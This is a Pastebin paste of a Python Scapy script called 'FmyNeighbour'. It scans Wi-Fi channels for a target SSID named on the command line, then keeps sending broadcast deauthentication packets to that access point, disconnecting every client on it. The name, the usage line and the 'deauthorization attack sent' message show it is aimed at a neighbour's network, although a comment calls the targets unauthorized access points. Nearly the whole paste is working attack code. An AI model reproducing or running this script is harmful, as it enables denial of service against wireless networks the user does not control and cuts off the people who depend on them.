Advertisement
Guest User

FmyNeighbour

a guest
Jun 21st, 2016
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.51 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # FmyNeighbour
  3. #Developed by @hcjuan04 - twitter
  4. # Credits Airoscapy for channel hooper and and most of the packet analisys method
  5. # Also credits to @RaiderSec
  6.  
  7. import sys, os, signal
  8. from multiprocessing import Process
  9. import codecs
  10. import commands
  11. import time
  12. import datetime
  13.  
  14. from scapy.all import *
  15.  
  16. interface='' # monitor interface
  17. bssid='' # monitor interface
  18. ssidarg = '' # SSID to adudit
  19. channel = 1
  20.  
  21. p= None
  22.  
  23. # process unique sniffed Beacons and ProbeResponses.
  24. def sniffAP(p):
  25.     if ( (p.haslayer(Dot11Beacon) or p.haslayer(Dot11ProbeResp))):
  26.         ssid       = p[Dot11Elt].info
  27.         bbssid     = p[Dot11].addr3    
  28.         cchannel   = int( ord(p[Dot11Elt:3].info))
  29.         capability = p.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}\
  30.                {Dot11ProbeResp:%Dot11ProbeResp.cap%}")
  31.         # Check for encrypted networks
  32.         if re.search("privacy", capability): enc = 'Y'
  33.         else: enc  = 'N'
  34.     global ssidarg
  35.     global channel
  36.     global bssid
  37.         if ssid.strip() == ssidarg :
  38.         channel = cchannel
  39.         bssid = bbssid
  40.         print "CH ENC BSSID             SSID"
  41.         print "%02d  %s  %s %s" % (int(channel), enc, bssid, ssid)
  42.    
  43.        
  44.  
  45.    
  46. # Channel hopper
  47. def channel_hopper():
  48.     while True:
  49.         try:
  50.             channel = random.randrange(1,15)
  51.             os.system("iw dev %s set channel %d" % (interface, channel))
  52.             time.sleep(1)
  53.         except OSError :
  54.             break
  55.  
  56. # Capture interrupt signal and cleanup before exiting
  57. def signal_handler(signal, frame):
  58.     global p   
  59.     p.terminate()
  60.     p.join()
  61.  
  62.  
  63. # Deauthentication method for Unauthorized APs
  64. def deauth(bssid, client, count):
  65.     pckt = Dot11(subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
  66.     cli_to_ap_pckt = None
  67.     if client != 'FF:FF:FF:FF:FF:FF' :
  68.         cli_to_ap_pckt = Dot11(subtype=12, addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth(reason=7)
  69.     print 'Sending Deauth to ' + client + ' from ' + bssid
  70.     if not count:
  71.         print 'Press CTRL+C to quit'
  72.     while count != 0:
  73.         try:
  74.             for i in range(64):
  75.                 # Send out deauth from the AP
  76.                 send(pckt)
  77.                 if client != 'FF:FF:FF:FF:FF:FF':
  78.                     send(cli_to_ap_pckt)
  79.             count -= 1
  80.         except KeyboardInterrupt:
  81.             break
  82. def main() :
  83.     # Reset global variables
  84.     try :
  85.         while True :
  86.            
  87.             # Start the channel hopper
  88.             global p
  89.             p = Process(target = channel_hopper)
  90.             p.start()
  91.             # Capture timer
  92.             signal.signal(signal.SIGALRM, signal_handler)
  93.             signal.alarm(17)
  94.             # Start the sniffer
  95.             global interface
  96.             global channel
  97.             global bssid
  98.             sniff(iface=interface,prn=sniffAP,timeout=15)
  99.             #print "Sniff finished"
  100.             time.sleep(3) #Wait for Alarm
  101.             conf.iface=interface
  102.             os.system("iw dev %s set channel %d" % (interface, channel))
  103.             print "set card command: iw dev %s set channel %d" % (interface, channel)
  104.             deauth(bssid, 'FF:FF:FF:FF:FF:FF', 1)
  105.             print "deauthorization attack sent"
  106.            
  107.     except KeyboardInterrupt:
  108.             print "FmyNeighbour terminated"
  109.                        
  110.  
  111.    
  112. if __name__ == "__main__":
  113.     if len(sys.argv) != 3:
  114.         print "Usage %s monitor_interface SSID_to_F" % sys.argv[0]
  115.         sys.exit(1)
  116.     interface = sys.argv[1]
  117.     ssidarg = sys.argv[2]
  118.     print ssidarg
  119.     # Print the program header
  120.     print ""
  121.     print "======= ~~~~~~FmyNeighbour~~~~~~~ ======="
  122.     #==================DEBUG
  123.     #import pdb
  124.     #pdb.set_trace()
  125.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement